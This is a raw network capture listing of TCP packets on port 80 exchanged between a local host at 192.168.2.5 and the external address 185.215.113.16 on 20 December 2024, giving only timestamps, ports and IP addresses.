Dec 20, 2024 16:53:38.483290911 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.483297110 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.483309031 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.483329058 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.483351946 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.483392954 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.484208107 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.484220028 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.484230042 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.484241962 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.484256029 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.484265089 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.484267950 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.484302044 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.484323978 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.485251904 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.485265970 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.485276937 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.485291004 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.485305071 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.485337973 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.485337973 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.486210108 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.486223936 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.486236095 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.486253023 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.486278057 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.486278057 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.487144947 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.487158060 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.487169981 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.487184048 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.487190008 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.487194061 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.487215996 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.487229109 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.488110065 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.488122940 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.488133907 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.488145113 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.488154888 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.488161087 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.488166094 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.488200903 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.488256931 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.489090919 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.489113092 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.489125013 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.489136934 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.489147902 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.489180088 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.489180088 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.490099907 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.490113020 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.490124941 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.490139008 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.490166903 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.490166903 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.491143942 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.491158009 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.491173029 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.491192102 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.491208076 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.562628031 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.562746048 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.562758923 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.562820911 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.563188076 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.563208103 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.563225031 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.563239098 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.563242912 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.563282967 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.564033985 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.564048052 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.564059019 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.564070940 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.564141989 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.564141989 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.564876080 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.564888000 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.564899921 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.564940929 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.564986944 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.565417051 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.565490961 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.565504074 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.565516949 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.565540075 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.565557003 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.566504955 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.566519976 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.566530943 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.566603899 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.638113022 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.638241053 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.638254881 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.638427973 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.638712883 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.638725996 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.638740063 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.638753891 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.638803005 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.638803005 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.639633894 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.639688969 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.639702082 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.639714003 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.639728069 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.639741898 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.639741898 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.639770031 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.640604019 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.640651941 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.640666008 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.640678883 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.640722990 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.640722990 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.641613007 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.641628981 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.641639948 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.641653061 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.641665936 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.641693115 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.641693115 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.669218063 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.669266939 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.669326067 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.669339895 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.669436932 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.669769049 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.669781923 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.669795036 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.669835091 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.670322895 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.670335054 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.670372963 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.670552015 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.670569897 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.670583963 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.670598030 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.670629025 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.670629025 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.671559095 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.671588898 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.671602011 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.671614885 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.671648979 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.671860933 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.672579050 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.672596931 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.672607899 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.672621012 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.672635078 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.672646046 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.672646999 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.672681093 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.673537016 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.673551083 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.673563004 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.673574924 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.673593998 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.673903942 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.674422979 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.674438000 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.674457073 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.674473047 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.674478054 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.674488068 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.674500942 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.674513102 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.674523115 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.674532890 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.674571991 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.675473928 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.675491095 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.675503969 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.675518990 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.675570965 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.675570965 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.676422119 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.676436901 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.676457882 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.676470041 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.676485062 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.676512957 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.676512957 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.677423000 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.677439928 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.677449942 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.677463055 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.677474022 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.677479982 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.677486897 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.677501917 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.677571058 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.678376913 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.678390980 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.678405046 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.678417921 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.678481102 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.679303885 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.679325104 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.679344893 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.679358959 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.679363966 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.679405928 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.680305958 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.680320024 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.680332899 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.680346012 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.680356979 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.680370092 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.680377007 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.680377007 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.680418015 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.681288958 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.681304932 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.681318998 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.681339025 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.681364059 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.681386948 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.682276964 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.682295084 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.682307005 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.682321072 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.682333946 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.682346106 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.682346106 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.682373047 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.683187962 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.683212042 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.683223963 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.683263063 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.734311104 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.754801989 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.754856110 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.754869938 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.754923105 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.755198956 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.755213022 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.755224943 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.755232096 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.755263090 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.755263090 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.755856037 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.755870104 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.755882025 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.755897045 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.755922079 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.755979061 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.756501913 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.756562948 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.756573915 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.756587029 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.756599903 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.756613016 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.756654024 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.756654024 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.757683992 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.757699013 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.757713079 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.757726908 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.757740974 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.757770061 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.757827044 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.830137014 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.830235958 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.830250025 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.830475092 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.830724955 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.830739975 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.830874920 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.830972910 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.830986977 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.830998898 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.831027031 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.831063986 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.831239939 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.831325054 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.831336975 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.831351042 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.831362963 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.831371069 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.831393957 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.831410885 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.832153082 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.832168102 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.832180023 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.832186937 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.832228899 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.832791090 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.832845926 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.832859993 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.832874060 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.832886934 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.832917929 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.832917929 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.861156940 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.861248970 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.861259937 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.861330032 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.861330032 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.861522913 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.861536026 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.861550093 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.861563921 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.861613035 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.861640930 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.862160921 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.862255096 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.862315893 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.862452984 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.862466097 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.862478018 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.862492085 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.862512112 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.862595081 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.862976074 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.862988949 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.863002062 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.863013983 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.863027096 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.863039017 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.863099098 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.863909006 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.863922119 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.863934994 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.863941908 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.863948107 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.863961935 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.863992929 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.863992929 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.864677906 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.864691973 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.864705086 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.864717007 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.864731073 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.864761114 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.864761114 CET	49739	80	192.168.2.5	185.215.113.16
